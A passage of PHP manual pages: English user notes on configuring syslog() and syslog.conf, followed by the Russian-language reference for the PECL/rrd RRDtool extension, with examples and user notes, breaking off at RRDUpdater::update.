If anyone is wondering why their log messages are appearing in multiple log files, here is one answer applying to *nix systems:

If your syslog.conf looks like this (assuming you use LOG_LOCAL0 for web app logging) :

local0.info    /var/log/web/info.log

This will collect *all* messages of LOG_INFO level and higher, i.e everything except debug messages

Try this instead to ensure that only messages of the named log level go into the relevant log file:

local0.=info    /var/log/web/info.log

Additionally, you may like to add this to ensure your messages don't end up in generic log files like "messages"  "all" "syslog" and "debug":

local0.none    /var/log/messages
local0.none    /var/log/debug
etc

saves disk space among other things - more at "man syslog.conf"
helly at php dot net 13-Apr-2007 05:49
If you are using syslog-ng and want errors send to syslog then use ini setting "error_log = syslog" and add something like the following to your syslog-ng.conf:

destination php { file("/var/log/php.log" owner(root) group(devel) perm(0620)); };
log { source(src); filter(f_php); destination(php); };
adam _at_ lockdownnetworks _dot_ com 10-Apr-2007 06:32
Be aware when using syslog() that if you set the timezone of environment to be something other than the standard, syslog() may log the time to the log(s) with the wrong time zone information. For example:

<?php

openlog('mylog', LOG_PID | LOG_ODELAY,LOG_LOCAL4);

putenv('TZ=UTC');
syslog(LOG_INFO, 'UTC Log line');

putenv('TZ=US/Pacific');
syslog(LOG_INFO, 'US/Pacific Log line');

closelog();

?>

Viewing the /usr/log/messages log will display these two lines:

Apr 11 01:25:39 hostname mylog[1400]: UTC Log line
Apr 10 18:25:39 hostname mylog[1400]: US/Pacific Log line

Adam.
Torsten 23-Apr-2004 06:27
I had a problem trying to issue a syslog message with IIS 5.1 under Windows XP. The function call seemed to succeed, but the event viewer showed that no entry was made.
Finally I found out that the user account used for the webserver (IUSR_<Computername>) did not have enough permissions to issue syslog alerts. I changed this by adding this user to the Users group instead of only Guest.
daniele dot patoner at biblio dot unitn dot it 06-Nov-2003 11:00
This work for me, to redirect  logs to a separate syslog file

put this line in your /etc/syslog.conf :

local0.debug   /var/log/php.log

Then restart syslogd:

/etc/init.d/syslog restart

php example:

<?php
define_syslog_variables();
openlog("TextLog", LOG_PID, LOG_LOCAL0);

$data = date("Y/m/d H:i:s");
syslog(LOG_DEBUG,"Messagge: $data");

closelog();
?>
gregj at pdxperts dot com 28-Jul-2003 05:05
The message string sent to the log file is limited to 500 characters.
dpreece at paradise dot net dot nz 29-Jan-2002 04:08
To set up a custom log file via the syslog daemon (FreeBSD in this case)...

Add to /etc/syslog.conf a line that says all errors from the httpd process are to go to a file called (for example) /var/log/httpd-php.log

!httpd
*.*   {tab}   /var/log/httpd-php.log

Note the tab, being a tab character! Next create a blank file to be written to. I'm sure there are 1e+6 ways to do this, but I choose

# cat > httpd-php.log << EOF
? EOF

Finally find your syslog daemon and send it a sighup to inform it of the change:

# ps ax | grep syslogd
  133  ??  Ss     0:07.23 syslogd -s
# kill -1 133

Et voila! Php syslog calls will now arrive in /var/log/httpd-php.log
mavetju at chello dot nl 22-Jan-2001 06:11
With FreeBSD I can use: syslog(LOG_INFO,"test");

BSD/OS does not support this, I had to use the literal values for the priority (158: local3.info):
syslog(158,"test");
gherson at snet dot net 20-Dec-2000 01:09
Example of where to look for syslog's output:   /var/log/httpd/access_log
(on Red Hat Linux Secure Server v6.2).
rcgraves+php at brandeis dot edu 17-Feb-2000 12:51
For the-header-file-enabled:

man 3 syslog defines the priorities, but not the integer values. For that you'll need to read your system header file.

Let's suppose I want to log an informational message in the mail log (which happens to be true). The man page tells me I want LOG_MAIL|LOG_INFO. So I look in /usr/include/sys/syslog.h and find (this happens to be Linux, your system could be different):

#define LOG_INFO        6       /* informational */
#define LOG_MAIL        (2<<3)  /* mail system */

2<<3 means shift 3 bits left, which means multiply by 8. So I want 2*8 + 6 = 22. syslog(22,"this message will appear in the mail log"); And indeed it does.
bb at lb-data dot co dot at 08-Sep-1999 03:54
In Windows NT, use the following values of priority:
1 = error,
6 = info


RRDtool

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Процедурный пример PECL/rrd
    • Объектно-ориентированный пример PECL/rrd
  • Функции RRD
    • rrd_create — Создать файл rrd
    • rrd_error — Получить последнее сообщение об ошибке
    • rrd_fetch — Извлечь данные для графика в виде массива
    • rrd_first — Возвращает отметку времени первого образца из файла rrd
    • rrd_graph — Создаёт изображение из данных
    • rrd_info — Получает информацию о файле rrd
    • rrd_last — Возвращает отметку времени unix последнего образца
    • rrd_lastupdate — Получает информацию о последних обновлённых данных
    • rrd_restore — Восстанавливает файл RRD из дампа XML
    • rrd_tune — Настраивает некоторые опции заголовка файла базы данных RRD
    • rrd_update — Обновляет базу данных RRD
    • rrd_version — Получает информацию о базовой библиотеке rrdtool
    • rrd_xport — Экспортирует информацию о базе данных RRD
    • rrdc_disconnect — Закрыть любые незавершённые подключения к демону кеширования rrd
  • RRDCreator — Класс RRDCreator
    • RRDCreator::addArchive — Добавляет RRA - архив значений данных для каждого источника данных
    • RRDCreator::addDataSource — Добавляет определение источника данных для базы данных RRD
    • RRDCreator::__construct — Создаёт новый экземпляр RRDCreator
    • RRDCreator::save — Сохраняет базу данных RRD в файл
  • RRDGraph — Класс RRDGraph
    • RRDGraph::__construct — Создаёт новый экземпляр RRDGraph
    • RRDGraph::save — Сохраняет результат запроса в изображение
    • RRDGraph::saveVerbose — Сохраняет запрос к базе данных RRD в изображение и возвращает подробную информацию о сгенерированном графике
    • RRDGraph::setOptions — Устанавливает параметры для экспорта графика rrd
  • RRDUpdater — Класс RRDUpdater
    • RRDUpdater::__construct — Создаёт новый объект RRDUpdater
    • RRDUpdater::update — Обновляет файл базы данных RRD

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль PECL/rrd предоставляет связь с библиотекой С RRDtool. RRDtool - это открытая система высокопроизводительного логирования данных и построения графиков временных рядов.

Домашняя страница RRDtool: » http://www.mrtg.org/rrdtool/.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для начала вам необходимо установить библиотеку librrd. Самый простой вариант - это использовать пакет librrd-dev вашего дистрибутива Linux. PECL/rrd тестировался с librrd 1.4.3, более новые или старые версии могут не работать.

Внимание

Librrd не потокобезопасно. В librrd существует множество глобальных и разделяемых состояний. Использовать данный модуль в многопоточном окружении, например, Apache2 mpm worker, не безопасно. Если используется множество параллельных запросов, то один из них может поменять глобальное состояние и оно скажется на других запросах.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/rrd.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Процедурный пример PECL/rrd
  • Объектно-ориентированный пример PECL/rrd

User Contributed Notes

There are no user contributed notes for this page.


Процедурный пример PECL/rrd

Пример #1 Использование rrd в процедурном стиле

<?php
$rrdFile = dirname(__FILE__) . "/speed.rrd";

//создание файла rrd
rrd_create($rrdFile,
array(
"--start",920804400,
"DS:speed:COUNTER:600:U:U",
"RRA:AVERAGE:0.5:1:24",
"RRA:AVERAGE:0.5:6:10"
)
);

//обновление файла rrd
rrd_update($rrdFile,
array(
"920804700:12345",
"920805000:12357"
)
);

//вывод графика
rrd_graph(dirname(__FILE__) . "/speed.png",
array(
"--start", "920804400",
"--end", "920808000",
"--vertical-label", "m/s",
"DEF:myspeed=$rrdFile:speed:AVERAGE",
"CDEF:realspeed=myspeed,1000,*",
"LINE2:realspeed#FF0000"
)
);
?>

User Contributed Notes

There are no user contributed notes for this page.


Объектно-ориентированный пример PECL/rrd

Пример #1 Использование rrd в объектно-ориентированном стиле

<?php
$rrdFile = dirname(__FILE__) . "/speed.rrd";
$outputPngFile = dirname(__FILE__) . "/speed.png";

$creator = new RRDCreator($rrdFile, "now -10d", 500);
$creator->addDataSource("speed:COUNTER:600:U:U");
$creator->addArchive("AVERAGE:0.5:1:24");
$creator->addArchive("AVERAGE:0.5:6:10");
$creator->save();

$updater = new RRDUpdater($rrdFile);
$updater->update(array("speed" => "12345"), "920804700");
$updater->update(array("speed" => "12357"), "920805000");

$graphObj = new RRDGraph($outputPngFile);
$graphObj->setOptions(
array(
"--start" => "920804400",
"--end" => 920808000,
"--vertical-label" => "m/s",
"DEF:myspeed=$rrdFile:speed:AVERAGE",
"CDEF:realspeed=myspeed,1000,*",
"LINE2:realspeed#FF0000"
)
);
$graphObj->save();
?>

User Contributed Notes

There are no user contributed notes for this page.


Функции RRD

Содержание

  • rrd_create — Создать файл rrd
  • rrd_error — Получить последнее сообщение об ошибке
  • rrd_fetch — Извлечь данные для графика в виде массива
  • rrd_first — Возвращает отметку времени первого образца из файла rrd
  • rrd_graph — Создаёт изображение из данных
  • rrd_info — Получает информацию о файле rrd
  • rrd_last — Возвращает отметку времени unix последнего образца
  • rrd_lastupdate — Получает информацию о последних обновлённых данных
  • rrd_restore — Восстанавливает файл RRD из дампа XML
  • rrd_tune — Настраивает некоторые опции заголовка файла базы данных RRD
  • rrd_update — Обновляет базу данных RRD
  • rrd_version — Получает информацию о базовой библиотеке rrdtool
  • rrd_xport — Экспортирует информацию о базе данных RRD
  • rrdc_disconnect — Закрыть любые незавершённые подключения к демону кеширования rrd

User Contributed Notes

There are no user contributed notes for this page.


Создать файл rrd

  • « Функции RRD
  • rrd_error »
  • PHP Manual
  • Функции RRD
  • Создать файл rrd

rrd_create

(PECL rrd >= 0.9.0)

rrd_create — Создать файл rrd

Описание

rrd_create(string $filename, array $options): bool

Создаёт файл rrd.

Список параметров

filename

Имя создаваемого файла.

options

Опции для создания rrd - список строк. Смотрите страницу руководства rrd для полного списка.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

daniel dot seif at castex dot de 29-Apr-2011 08:52
Note, that in previous versions, the interface was

bool rrd_create ( string $filename , array $options , integer numberOfOptions )


Получить последнее сообщение об ошибке

  • « rrd_create
  • rrd_fetch »
  • PHP Manual
  • Функции RRD
  • Получить последнее сообщение об ошибке

rrd_error

(PECL rrd >= 0.9.0)

rrd_error — Получить последнее сообщение об ошибке

Описание

rrd_error(): string

Возвращает последнее сообщение об ошибке.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Последнее сообщение об ошибке.

User Contributed Notes

There are no user contributed notes for this page.


Извлечь данные для графика в виде массива

  • « rrd_error
  • rrd_first »
  • PHP Manual
  • Функции RRD
  • Извлечь данные для графика в виде массива

rrd_fetch

(PECL rrd >= 0.9.0)

rrd_fetch — Извлечь данные для графика в виде массива

Описание

rrd_fetch(string $filename, array $options): array

Извлекает данные для графика в виде массива из файла RRD. Функция работает так же как и rrd_graph(), но данные возвращаются в виде массива, а изображение не создаётся.

Список параметров

filename

Имя файла RRD.

options

Массив опций для спецификации разрешения.

Возвращаемые значения

Извлечённый массив данных.

User Contributed Notes

stephanecharette at gmail dot com 06-Sep-2013 05:50
For example, this worked for me:

<?php
$result = rrd_fetch( "mydata.rrd", array( "AVERAGE", "--resolution", "60", "--start", "-1d", "--end", "start+1h" ) );
?>

This will fetch all fields.  You then have to use something like this to get to a specified rrd field:

<?php
foreach ( $result["data"]["myfield"] as $key => $value )
{
    echo "At timestamp $key, the value for myfield is $value.\n";
}
?>
ernestas at versme dot net 21-Aug-2013 12:56
A few years ago, the extension was patched so that it would count options itself. But for me, it's buggy (it does not work with more than 3 arguments) and neither does work.


Возвращает отметку времени первого образца из файла rrd

  • « rrd_fetch
  • rrd_graph »
  • PHP Manual
  • Функции RRD
  • Возвращает отметку времени первого образца из файла rrd

rrd_first

(PECL rrd >= 0.9.0)

rrd_first — Возвращает отметку времени первого образца из файла rrd

Описание

rrd_first(string $file, int $raaindex = 0): int

Возвращает первый образец данных из указанного RRA файла RRD.

Список параметров

file

Имя файла базы данных RRD.

raaindex

Номер индекса RRA, который должен быть рассмотрен. Значение по умолчанию - 0.

Возвращаемые значения

Номер отметки времени unix в виде целого числа или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт изображение из данных

  • « rrd_first
  • rrd_info »
  • PHP Manual
  • Функции RRD
  • Создаёт изображение из данных

rrd_graph

(PECL rrd >= 0.9.0)

rrd_graph — Создаёт изображение из данных

Описание

rrd_graph(string $filename, array $options): array

Создаёт изображение для определённых данных из RRD-файла.

Список параметров

filename

Имя файла для вывода графика. Это, как правило, заканчивается либо .png, .svg или .eps, в зависимости от нужного формата вывода.

options

Опции для генерации изображения. Смотрите страницу руководства для команды rrd graph для получения всех возможных вариантов. Все опции (определения данных, определения переменных и т.д.) разрешены.

Возвращаемые значения

Возвращается массив с информацией о сгенерированном изображении или false в случае возникновения ошибки.

User Contributed Notes

geekcom 10-Jan-2020 04:20
For a rrdgraph doc/man page see:

https://docs.oracle.com/cd/E88353_01/html/E37839/rrdgraph-1.html
Anonymous 09-Jan-2020 02:48
This documentation page is useless ...

"See man page of rrd graph for all possible options"

I thought I am looking at the documentation, of not, why not provide a link ?
info at ukee dot nl 27-Feb-2015 09:39
When using style features like:  --font TITLE:13:Times
use in your code: --font=TITLE:13:Times

the "=" is missing in the documentation
Anonymous 30-Jul-2013 11:16
When I add

--font AXIS:8:

into $options,

I receive the next error:

PNG creation error: unknown option '--font AXIS:8:'

According to docs from rrdtool site the right syntax is:

[-n|--font FONTTAG:size:[font]]

This lets you customize which font to use for the various text elements on the RRD graphs. DEFAULT sets the default value for all elements, TITLE for the title, AXIS for the axis labels, UNIT for the vertical unit label, LEGEND for the graph legend, WATERMARK for the watermark on the edge of the graph.

Use Times for the title: --font TITLE:13:Times

Note that you need to quote the argument to --font if the font-name contains whitespace: --font "TITLE:13:Some Font"

If you do not give a font string you can modify just the size of the default font: --font TITLE:13:.
Dk 05-Jul-2013 05:55
You can get the latest RRD Error by simply doing print_r(rrd_error()) immediately after the rrd_graph() call.
Matt C 13-May-2012 08:38
Note; apache server requires write access to the folder in which the image is to be created otherwise no image file is produced, and (unhelpfully) no error is generated.


Получает информацию о файле rrd

  • « rrd_graph
  • rrd_last »
  • PHP Manual
  • Функции RRD
  • Получает информацию о файле rrd

rrd_info

(PECL rrd >= 0.9.0)

rrd_info — Получает информацию о файле rrd

Описание

rrd_info(string $filename): array

Возвращает информацию об указанном файле базы данных RRD.

Список параметров

file

Имя файла базы данных RRD.

Возвращаемые значения

Массив, содержащий информацию об указанном файле RRD или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает отметку времени unix последнего образца

  • « rrd_info
  • rrd_lastupdate »
  • PHP Manual
  • Функции RRD
  • Возвращает отметку времени unix последнего образца

rrd_last

(PECL rrd >= 0.9.0)

rrd_last — Возвращает отметку времени unix последнего образца

Описание

rrd_last(string $filename): int

Возвращает отметку времени UNIX последнего обновления базы данных RRD.

Список параметров

filename

Имя файла базы данных RRD.

Возвращаемые значения

Целое число, представляющее отметку времени unix самых последних данных из базы данных RRD.

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию о последних обновлённых данных

  • « rrd_last
  • rrd_restore »
  • PHP Manual
  • Функции RRD
  • Получает информацию о последних обновлённых данных

rrd_lastupdate

(PECL rrd >= 0.9.0)

rrd_lastupdate — Получает информацию о последних обновлённых данных

Описание

rrd_lastupdate(string $filename): array

Возвращает массив отметки времени UNIX и значения, сохранённых для каждой даты в последнем обновлении файла базы данных RRD.

Список параметров

file

Имя файла базы данных RRD.

Возвращаемые значения

Массив информации о последнем обновлении или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Восстанавливает файл RRD из дампа XML

  • « rrd_lastupdate
  • rrd_tune »
  • PHP Manual
  • Функции RRD
  • Восстанавливает файл RRD из дампа XML

rrd_restore

(PECL rrd >= 0.9.0)

rrd_restore — Восстанавливает файл RRD из дампа XML

Описание

rrd_restore(string $xml_file, string $rrd_file, array $options = ?): bool

Восстанавливает файл RRD из дампа XML.

Список параметров

xml_file

Имя файла XML с дампом исходного файла базы данных RRD.

rrd_file

Восстановленное имя файла базы данных RRD.

options

Массив опций для восстановления. Смотрите страницу руководства по rrd restore.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Настраивает некоторые опции заголовка файла базы данных RRD

  • « rrd_restore
  • rrd_update »
  • PHP Manual
  • Функции RRD
  • Настраивает некоторые опции заголовка файла базы данных RRD

rrd_tune

(PECL rrd >= 0.9.0)

rrd_tune — Настраивает некоторые опции заголовка файла базы данных RRD

Описание

rrd_tune(string $filename, array $options): bool

Изменить некоторые опции в файле заголовка базы данных RRD. Например, переименовывает источник данных и т.д.

Список параметров

filename

Имя файла базы данных RRD.

options

Опции со свойствами файла базы данных RRD, которые будут изменены. Смотрите страницу руководства по rrd tune для подробностей.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Обновляет базу данных RRD

  • « rrd_tune
  • rrd_version »
  • PHP Manual
  • Функции RRD
  • Обновляет базу данных RRD

rrd_update

(PECL rrd >= 0.9.0)

rrd_update — Обновляет базу данных RRD

Описание

rrd_update(string $filename, array $options): bool

Обновляет файл базы данных RRD. Входные данные - это время, интерполированное в соответствии со свойствами файла базы данных RRD.

Список параметров

filename

Имя файла базы данных RRD. Эта база данных будет обновлена.

options

Опции обновления базы данных RRD. Это список строк. Полный список опций смотрите на странице руководства по rrd update для получения полного списка опций.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

m[dot]reza[dot]hamedany[at]gmail[dot]com 25-Jul-2017 11:27
class rrdUpdate {

    public function rrdFilesUpdate($id,$value){

        $rrdFile ="/path/to/file/".$id.rrd;

        $time = time();

            $ret = rrd_update($rrdFile, "$time:$value");
            return $ret;
            if (!$ret) {
                echo "<b>update error: </b>" . rrd_error() . "\n";
            }
        }
    }


Получает информацию о базовой библиотеке rrdtool

  • « rrd_update
  • rrd_xport »
  • PHP Manual
  • Функции RRD
  • Получает информацию о базовой библиотеке rrdtool

rrd_version

(PECL rrd >= 1.0.0)

rrd_version — Получает информацию о базовой библиотеке rrdtool

Описание

rrd_version(): string

Получает информацию о базовой библиотеке rrdtool.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строка с номером версии rrdtool, например, "1.4.3".

User Contributed Notes

There are no user contributed notes for this page.


Экспортирует информацию о базе данных RRD

  • « rrd_version
  • rrdc_disconnect »
  • PHP Manual
  • Функции RRD
  • Экспортирует информацию о базе данных RRD

rrd_xport

(PECL rrd >= 0.9.0)

rrd_xport — Экспортирует информацию о базе данных RRD

Описание

rrd_xport(array $options): array

Экспортирует информацию о файле базы данных RRD. Данные могут быть преобразованы в XML-файл с помощью пользовательского PHP-скрипта, а затем восстановлены в виде файла базы данных RRD.

Список параметров

options

Массив опций для экспорта смотрите страницу руководства по rrd xport.

Возвращаемые значения

Массив с информацией о файле базы данных RRD или false в случае возникновения ошибки.

User Contributed Notes

Peter R 01-Dec-2023 09:45
A small example of connecting to an rrdcached daemon (This one running on localhost, but works across network as well) and getting in and output bits from an interface.

$options = array(
    '--daemon', '127.0.0.1:42217',
    '--start', time() - 3600,
    'DEF:in_oct=rrdfile.rrd:INOCTETS:AVERAGE',
    'DEF:out_oct=rrdfile.rrd:OUTOCTETS:AVERAGE',
    'CDEF:in_bits=in_oct,8,*',
    'CDEF:out_bits=out_oct,8,*',
    'XPORT:in_bits',
    'XPORT:out_bits'
  );

$result = rrd_xport($options);

var_dump($result);
mrezahamedany 25-Jul-2017 05:12
an example that shows the usage of this method ( tested in php version 5.6.30 )

class Rrd{
    public function getData($id , $start , $end)
    {
        $step = 300 ;
        $rrdFile ="/path/to/file/'.$id.rrd";

        try{
            $options = ["--start", $start , "--end", $end ,"-- step",$step,"DEF:out=$rrdFile:name:AVERAGE", "XPORT:out:test"];
            $result = rrd_xport($options);
            $datas = $result['data'][0]['data'];
            foreach($datas as $data => $value){

                if( is_nan($value) === true ) $value = 0 ;
                    $output[] = [$data=>$value] ;
            }
            return json_encode($output);

        }catch (Exception $e){

            dd($e->getMessage());
        }

    }
}


Закрыть любые незавершённые подключения к демону кеширования rrd

  • « rrd_xport
  • RRDCreator »
  • PHP Manual
  • Функции RRD
  • Закрыть любые незавершённые подключения к демону кеширования rrd

rrdc_disconnect

(PECL rrd >= 1.1.2)

rrdc_disconnect — Закрыть любые незавершённые подключения к демону кеширования rrd

Описание

rrdc_disconnect(): void

Закрыть любые незавершённые подключения к демону кеширования rrd.

Функция автоматически вызывается при завершении всего PHP-процесса. Это зависит от используемого SAPI. Например, она вызывается автоматически в конце скрипта командной строки.

Зависит от пользователя, хочет ли он вызвать функцию в конце каждого запроса или нет.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс RRDCreator

(PECL rrd >= 0.9.0)

Введение

Класс для создания файлов базы данных RRD.

Обзор классов

class RRDCreator {
/* Методы */
public __construct(string $path, string $startTime = ?, int $step = 0)
public addArchive(string $description): void
public addDataSource(string $description): void
public save(): bool
}

Содержание

  • RRDCreator::addArchive — Добавляет RRA - архив значений данных для каждого источника данных
  • RRDCreator::addDataSource — Добавляет определение источника данных для базы данных RRD
  • RRDCreator::__construct — Создаёт новый экземпляр RRDCreator
  • RRDCreator::save — Сохраняет базу данных RRD в файл

User Contributed Notes

There are no user contributed notes for this page.


Добавляет RRA - архив значений данных для каждого источника данных

  • « RRDCreator
  • RRDCreator::addDataSource »
  • PHP Manual
  • RRDCreator
  • Добавляет RRA - архив значений данных для каждого источника данных

RRDCreator::addArchive

(PECL rrd >= 0.9.0)

RRDCreator::addArchive — Добавляет RRA - архив значений данных для каждого источника данных

Описание

public RRDCreator::addArchive(string $description): void

Добавляет определение RRA по описанию архива. Архив состоит из ряда значений данных или статистики для каждого из определённых источников данных (ИД). Источники данных определяются методом RRDCreator::addDataSource(). Необходимо вызывать этот метод для каждого запрошенного архива.

Список параметров

description

Определение архива - RRA. Имеет тот же формат, что и определение RRA в команде rrd create. Смотрите страницу руководства по rrd create для получения более подробной информации.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет определение источника данных для базы данных RRD

  • « RRDCreator::addArchive
  • RRDCreator::__construct »
  • PHP Manual
  • RRDCreator
  • Добавляет определение источника данных для базы данных RRD

RRDCreator::addDataSource

(PECL rrd >= 0.9.0)

RRDCreator::addDataSource — Добавляет определение источника данных для базы данных RRD

Описание

public RRDCreator::addDataSource(string $description): void

RRD может принимать ввод от нескольких источников данных (ИД), например, из входящего и исходящего трафика. Этот метод добавляет источник данных по описанию. Необходимо вызывать этот метод для каждого источника данных.

Список параметров

description

Определение источника данных - ИД. Имеет тот же формат, что и определение ИД в команде rrd create. Смотрите страницу руководства по rrd create для получения более подробной информации.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр RRDCreator

  • « RRDCreator::addDataSource
  • RRDCreator::save »
  • PHP Manual
  • RRDCreator
  • Создаёт новый экземпляр RRDCreator

RRDCreator::__construct

(PECL rrd >= 0.9.0)

RRDCreator::__construct — Создаёт новый экземпляр RRDCreator

Описание

public RRDCreator::__construct(string $path, string $startTime = ?, int $step = 0)

Создаёт новый экземпляр RRDCreator.

Список параметров

path

Путь к созданному файлу базы данных RRD.

startTime

Время для первого значения в базе данных RRD. Параметр поддерживает все форматы, которые поддерживаются вызовом rrd create.

intstep

Базовый интервал в секундах, с которым данные будут загружаться в базу данных RRD.

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет базу данных RRD в файл

  • « RRDCreator::__construct
  • RRDGraph »
  • PHP Manual
  • RRDCreator
  • Сохраняет базу данных RRD в файл

RRDCreator::save

(PECL rrd >= 0.9.0)

RRDCreator::save — Сохраняет базу данных RRD в файл

Описание

public RRDCreator::save(): bool

Сохраняет базу данных RRD в файл, имя которого определяется RRDCreator::__construct().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Класс RRDGraph

(PECL rrd >= 0.9.0)

Введение

Класс для экспорта данных из файла базы данных RRD в изображение.

Обзор классов

class RRDGraph {
/* Методы */
public __construct(string $path)
public save(): array
public saveVerbose(): array
public setOptions(array $options): void
}

Содержание

  • RRDGraph::__construct — Создаёт новый экземпляр RRDGraph
  • RRDGraph::save — Сохраняет результат запроса в изображение
  • RRDGraph::saveVerbose — Сохраняет запрос к базе данных RRD в изображение и возвращает подробную информацию о сгенерированном графике
  • RRDGraph::setOptions — Устанавливает параметры для экспорта графика rrd

User Contributed Notes

Anonymous 01-Dec-2016 02:38
On Windows if you get "Cannot parse DS in 'DEF:rr=C:/Users/xxx/code/monitor/speed_gauge.rrd:value:MAX'" error on Windows. This may mean that rrdtool does not like ":" on your file name - it needs to be replaced with "\:"

Atleast for me fixed that issue if I replace colon "str_replace(':', '\\:', $rrdPath);"


Создаёт новый экземпляр RRDGraph

  • « RRDGraph
  • RRDGraph::save »
  • PHP Manual
  • RRDGraph
  • Создаёт новый экземпляр RRDGraph

RRDGraph::__construct

(PECL rrd >= 0.9.0)

RRDGraph::__construct — Создаёт новый экземпляр RRDGraph

Описание

public RRDGraph::__construct(string $path)

Создаёт новый экземпляр RRDGraph. Экземпляр отвечает за отображение результата запроса к базе данных RRD в виде изображения.

Список параметров

path

Полный путь до создаваемого изображения.

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет результат запроса в изображение

  • « RRDGraph::__construct
  • RRDGraph::saveVerbose »
  • PHP Manual
  • RRDGraph
  • Сохраняет результат запроса в изображение

RRDGraph::save

(PECL rrd >= 0.9.0)

RRDGraph::save — Сохраняет результат запроса в изображение

Описание

public RRDGraph::save(): array

Сохраняет результат запроса к базе данных RRD в изображение, определённое в методе RRDGraph::__construct().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращается массив с информацией о сгенерированном изображении или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет запрос к базе данных RRD в изображение и возвращает подробную информацию о сгенерированном графике

  • « RRDGraph::save
  • RRDGraph::setOptions »
  • PHP Manual
  • RRDGraph
  • Сохраняет запрос к базе данных RRD в изображение и возвращает подробную информацию о сгенерированном графике

RRDGraph::saveVerbose

(PECL rrd >= 0.9.0)

RRDGraph::saveVerbose — Сохраняет запрос к базе данных RRD в изображение и возвращает подробную информацию о сгенерированном графике

Описание

public RRDGraph::saveVerbose(): array

Сохраняет запрос к базе данных RRD в файл изображения, определённый методом RRDGraph::__construct() и возвращает подробную информацию о сгенерированном графике, если в качестве имени файла изображения используется "-", данные изображения также возвращаются в массиве результатов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив с подробной информацией о сгенерированном изображении, опционально с данными изображения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает параметры для экспорта графика rrd

  • « RRDGraph::saveVerbose
  • RRDUpdater »
  • PHP Manual
  • RRDGraph
  • Устанавливает параметры для экспорта графика rrd

RRDGraph::setOptions

(PECL rrd >= 0.9.0)

RRDGraph::setOptions — Устанавливает параметры для экспорта графика rrd

Описание

public RRDGraph::setOptions(array $options): void

Список параметров

options

Список параметров для генерации изображения из файла базы данных RRD. Это может быть список строк или список строк с ключами для лучшей читаемости. Прочтите справочные страницы rrd graph для получения списка доступных параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования RRDGraph::setOptions()

<?php
$graphObj->setOptions(array(
"--start" => "920804400",
"--end" => 920808000,
"--vertical-label" => "m/s",
"DEF:myspeed=$rrdFile:speed:AVERAGE",
"CDEF:realspeed=myspeed,1000,*",
"LINE2:realspeed#FF0000"
));
?>

Пример #2 Установка нескольких вариантов цветов

<?php
$graphObj->setOptions(array(
"--start" => "920804400",
"--end" => 920808000,
"--vertical-label" => "m/s",
"--color=BACK#00000000",
"--color=GRID#00000000",
"--color=MGRID#00000000",
"DEF:myspeed=$rrdFile:speed:AVERAGE",
"CDEF:realspeed=myspeed,1000,*",
"LINE2:realspeed#FF0000"
));
?>

Не используйте синтаксис ключ-значение для одинаковых опций rrd. Выглядит более читабельно, но не работает.

<?php
$graphObj->setOptions(array(
"--color" => "BACK#00000000",
"--color" => "GRID#00000000",
"--color" => "MGRID#00000000"
));
?>

Пример выше означает то же самое.

<?php
$graphObj->setOptions(array(
"--color" => "MGRID#00000000"
));
?>

User Contributed Notes

There are no user contributed notes for this page.


Класс RRDUpdater

(PECL rrd >= 0.9.0)

Введение

Класс для обновления файла базы данных RDD.

Обзор классов

class RRDUpdater {
/* Методы */
public __construct(string $path)
public update(array $values, string $time = time() ): bool
}

Содержание

  • RRDUpdater::__construct — Создаёт новый объект RRDUpdater
  • RRDUpdater::update — Обновляет файл базы данных RRD

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект RRDUpdater

  • « RRDUpdater
  • RRDUpdater::update »
  • PHP Manual
  • RRDUpdater
  • Создаёт новый объект RRDUpdater

RRDUpdater::__construct

(PECL rrd >= 0.9.0)

RRDUpdater::__construct — Создаёт новый объект RRDUpdater

Описание

public RRDUpdater::__construct(string $path)

Создаёт новый объект RRDUpdater. Этот объект применяется для внесения изменений в файл базы данных RRD.

Список параметров

path

Путь в файловой системе до файла базы RRD, которую необходимо обновить.

User Contributed Notes

There are no user contributed notes for this page.


Обновляет файл базы данных RRD

  • « RRDUpdater::__construct
  • ScoutAPM »
  • PHP Manual
  • RRDUpdater
  • Обновляет файл базы данных RRD

RRDUpdater::update

(PECL rrd >= 0.9.0)

RRDUpdater::update — Обновляет файл базы данных RRD

Описание

